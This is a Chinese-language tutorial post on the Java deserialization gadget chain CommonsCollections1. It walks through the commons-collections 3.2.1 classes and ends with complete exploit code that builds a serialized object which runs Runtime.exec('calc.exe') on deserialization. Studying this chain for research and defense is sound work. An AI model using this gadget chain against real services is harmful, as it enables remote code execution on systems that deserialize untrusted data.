
CC链
Java反序列化
环境要求
CommonsCollections <= 3.2.1
java < 8u71(我使用的是)
java8u65
环境链接先不放,在配置环境的时候遇到一件很神奇的事:
下面是oracle的java8存档地址,真的很神,第一个链接是中文的,当你使用Ctrl + F
去找java8u65
(第8个版本的第六十五次更新)的时候,下载的是java8u111,我以为只有一个是不对的,多试了几个都不对。
https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
因为只是使用java运行,不需要配置环境变量,只需要在idea中修改项目结构中的解释器目录。
此外,还需要配置一下源码
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
在左边侧栏下载压缩包,打开压缩包,找到以下目录
解压目录\src\share\classes\sun
复制sun包中的内容到java8u65的src目录中,默认是没有src目录的,解压该目录中的src.zip文件,在idea项目结构中sourcepath,导入src目录。
CommonsCollections
在idea创建maven项目,配置文件pom.xml中添加,junit是用于测试的
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.13.2</version>
<scope>test</scope>
</dependency>
</dependencies>
环境配置完毕,应该没有了吧,。
ysoserial中给到的链子
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
看不懂也不要慌,遇事不要慌。一步一步来。
InvokerTransformer.transform()
找到org.apache.commons.collections.transformer
接口
public interface Transformer {
public Object transform(Object input);
}
ctrl + alt + b
或者ctrl + h
寻找向下的继承类
找到个org.apache.commons.collections.functors.InvokerTransformer
的类
InvokerTransformer.java实现了transformer接口
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
try语句中使用反射,尝试调用了transform方法接受的对象的方法,因为是使用的getMethod
方法,所以调用公共方法才不会报错。
调用的函数参数iMethodName,iParamTypes,iArgs,都可以在实例化InvokerTransformer类时传入。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
我们可以尝试一下执行命令:
Runtime.getRuntime().exec("calc.exe")
将Runtime.getRuntime()对象传入,满足以下条件。
梳理
methodName == exec 函数名
Object input == Runtime.getRuntime() 执行函数的对象
paramTypes == String.class 函数参数的类型
args == "calc.exe" 函数实参
payload升级:
@Test
public void test1() throws IOException, ClassNotFoundException {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
invokerTransformer.transform(Runtime.getRuntime());
}
弹出计算机为成功
TranformedMap.checkSetValue()
alt+F7查看用法
org.apache.commons.collections.map.TranformedMap
TranformedMap.java找到了三个方法调用了transform
方法
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
三个方法属性都是protected
,对同一包内的类和所有子类可见。
三个方法中选择checkSetValue(),为社么不用其他两个呢,其他两个查找用法,没有找到合适的调用类。
找到对参数进行赋值的地方,是TransformedMap类的构造函数,构造函数属性为protected
,对同一包内的类和所有子类可见。
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
寻找其他构造方法或者调用TransformedMap
的方法。
在同一个类中找到方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
现在我们有了办法构造参数,但是无法调用TransformedMap.checkSetValue()
方法,继续查找用法。
AbstractInputCheckedMapDecorator
AbstractInputCheckedMapDecorator.java
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
继承关系如下
MapEntry <= AbstractMapEntryDecorator
MapEntry
类的父类AbstractMapEntryDecorator
是抽象类,抽象类不能被实例化,但是可以有构造方法。这里在MapEntry
类中构造方法,super(entry)
实际上是AbstractMapEntryDecorator
的构造方法。
protected final Map.Entry entry;
public AbstractMapEntryDecorator(Map.Entry entry) {
if (entry == null) {
throw new IllegalArgumentException("Map Entry must not be null");
}
this.entry = entry;
}
梳理一下
MapEntry.class == AbstractMapEntryDecorator.entry == Map.Entry.class
MapEntry.setValue(Object value)
TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
TranformedMap.checkSetValue(Object value)
invokerTransformer.transform(Object input);
valueTransformer == invokerTransformer
value == Runtime.getRuntime()
三个Object是连续的传递,至于MapEntry如何得到呢?Map
通过entrySet()
方法可以获取Map.Entry
升级:
@Test
public void test2() throws IOException, ClassNotFoundException {
// MapEntry.setValue() ==> TransformedMap.checkSetValue() ==> InvokerTransformer.transform()
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
// valueTransformer == invokerTransformer
Map<Object,Object> decorated = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry<Object, Object> entry : decorated.entrySet()) {
// System.out.println(entry);
entry.setValue(Runtime.getRuntime());
}
}
弹出计算机为成功
AnnotationInvocationHandler
继续老办法,alt + F7
查看用法。
sun.reflect.annotation.AnnotationInvocationHandler
这个类刚好调用了setValue()
方法,而且还刚好在readObject()
方法中调用setValue()
。在该类被反序列化的时候则会调用readObject()
方法。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
我们可以看到通过entrySet()
来获得Map.Entry
在到达setValue()
前需要绕过两层if
判断。
type,memberValues是通过构造函数可传递的参数
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
Class<? extends Annotation> type
是什么呢,chatgpt
Class<? extends Annotation> 可以表示任意注解的 Class 对象
Class<? extends Annotation> annotationClass = Override.class;
Class<? extends Annotation> annotationClass2 = Deprecated.class;
但它不能是 Class<Object> 或 Class<String>,因为它们不是 Annotation 的子类。
为了兼容性和稳定性,推荐使用一些java自带的注解。
if (memberType != null)
我们可以实验一下:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, invokerTransformer);
AnnotationType annotationType = AnnotationType.getInstance(Target.class);
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
System.out.println(memberTypes);
//输出: {value=class [Ljava.lang.annotation.ElementType;}
绕过第一个if,需要在Map.Entry的key在对应memberTypes中有对应的值。
当Map.Entry的key为value时,值在memberTypes为class,!= null
为 true,加入下列代码验证一番。
for (Map.Entry<String, Object> memberValue : decorated.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
System.out.println(123);
} else {
System.out.println("456");
}
// hashMap.put("key", "value") 输出456
// hashMap.put("value", "value") 输出123
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
脑袋已经晕了,层层剖析
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
// !(memberType.isInstance(value) || value instanceof ExceptionProxy) == True
// memberType.isInstance(value) || value instanceof ExceptionProxy == false
// memberType.isInstance(value) == false
// value instanceof ExceptionProxy == false
// value 不是 memberType 类型的实例,也不是 ExceptionProxy 类型的实例
hashMap.put("value", "value")
memberValue
是Map.Entry的值,也就是第二个"value"
。
memberType为{value=class [Ljava.lang.annotation.ElementType;}
,而"value"
是一个String,已不是一个ExceptionProxy
的实例。
实验一下:将之前那段for循环修改为现在的代码
for (Map.Entry<String, Object> memberValue : decorated.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) {
System.out.println(123);
Object value = memberValue.getValue();
// System.out.println(memberType);
// System.out.println(value);
// System.out.println(value.getClass());
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
System.out.println("yes");
} else
System.out.println("no");
} else {
System.out.println("456");
}
}
// 123
// yes
也就是能够执行到memberValue.setValue()
,但是参数并不是我们能控制的。
有没有参数不重要,返回的值是一样的Transformer?
ConstantTransformer
org.apache.commons.collections.functors.ConstantTransformer
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
梳理一下
MapEntry.class == AbstractMapEntryDecorator.entry == Map.Entry.class
MapEntry.setValue(Object value)
TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)
TranformedMap.checkSetValue(Object value)
ConstantTransformer(Runtime.getRuntime())
ConstantTransformer.transform(Object input)
valueTransformer == ConstantTransformer
value == 不重要
调用transform
方法的返回值是实例化时传入的参数constantToReturn
,但是最后无法执行到危险函数了
ChainedTransformer
最后的主角,但是脑袋已经不够用了。
org.apache.commons.collections.functors.ChainedTransformer
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
从第0个开始,调用每一个iTransformers
的transform()
。
参数则是上一次transform()
处理后的object
。
我们需要将Runtime.getRuntime()
作为invokerTransformer.transform()
的参数,这里又回到了最初了,常回家看看,回家看看。所以我们需要将ConstantTransformer
作为第一个
ChainedTransformer.transform()
传入什么作为参数都不重要。我们可以看看循环过程:
第一次运行:
iTransformers[0].transform(object);
return Runtime.getRuntime();
第二次运行:
invokerTransformer.transform(Runtime.getRuntime());
是不是就可以执行了呢
似乎一切都说通了。
问题一
AnnotationInvocationHandler
是default类型,在同一包内可见。需要用到反射来初始化。
@Test
public void test2_1() throws Exception {
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
InvokerTransformer invokerTransformer = new InvokerTransformer
("exec",
new Class[]{String.class},
new Object[]{"calc.exe"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer});
// 生成MapEntry
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
// chainedTransformer 代替了最初的 invokerTransformer
Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, chainedTransformer);
// 实例化AnnotationInvocationHandler
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorated);
serializable(o);
unserializable("ser.bin");
}
问题二
意外蛊出现了
java.io.NotSerializableException: java.lang.Runtime
Runtime
没有继承Serializable
接口,所以不能直接被反序列化。
救星:Class可以被反序列化,再次使用反射。
public final class Class<T> implements java.io.Serializable
chainedTransformer构造
代码格式是错误的,只是一个解释,不必按照代码解释。
Runtime.getRuntime().exec()
new ConstantTransformer(Runtime.class).transform()
return Runtime.class
//执行 "getMethod"获取到Runtime.class的"getRuntime()
invokerTransformer.transform(Runtime.class)
return Method Runtime.getRuntime()
返回的是Method类的对象
// 使用Invoke调用Runtime.getRuntime()
invokerTransformer.transform(Method Runtime.getRuntime())
return Method Runtime.getRuntime().invoke();
//执行Runtime.getRuntime().exec()。参数则通过后的返回结果,即:
currentRuntime;
//执行exec()
invokerTransformer.transform(currentRuntime);
执行currentRuntime.exec(),也就是Runtime.getRuntime().exec()。参数则通过实例化InvokerTransformer时传递。
需要注意的是实例化InvokerTransformer的时候,参数依次为
iMethodName iParamTypes iArgs
方法名 传入方法的参数的类型 传入方法的参数
完整代码
@Test
public void test2_1() throws Exception {
// Class<Runtime> clazz = Runtime.class;
//
// Method getRuntimeMethod = clazz.getMethod("getRuntime", null);
// Object o = getRuntimeMethod.invoke(null, null);
//
// Method execMethod = clazz.getMethod("exec", String.class);
// execMethod.invoke(o, "calc.exe");
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
// Class<Runtime> clazz
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
// 得到 Method getRuntimeMethod
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
// 得到 Object o
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
});
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
// valueTransformer == invokerTransformer
Map<String, Object> decorated = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, decorated);
serializable(o);
unserializable("ser.bin");
}
注释是为了自己看的明白过程。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)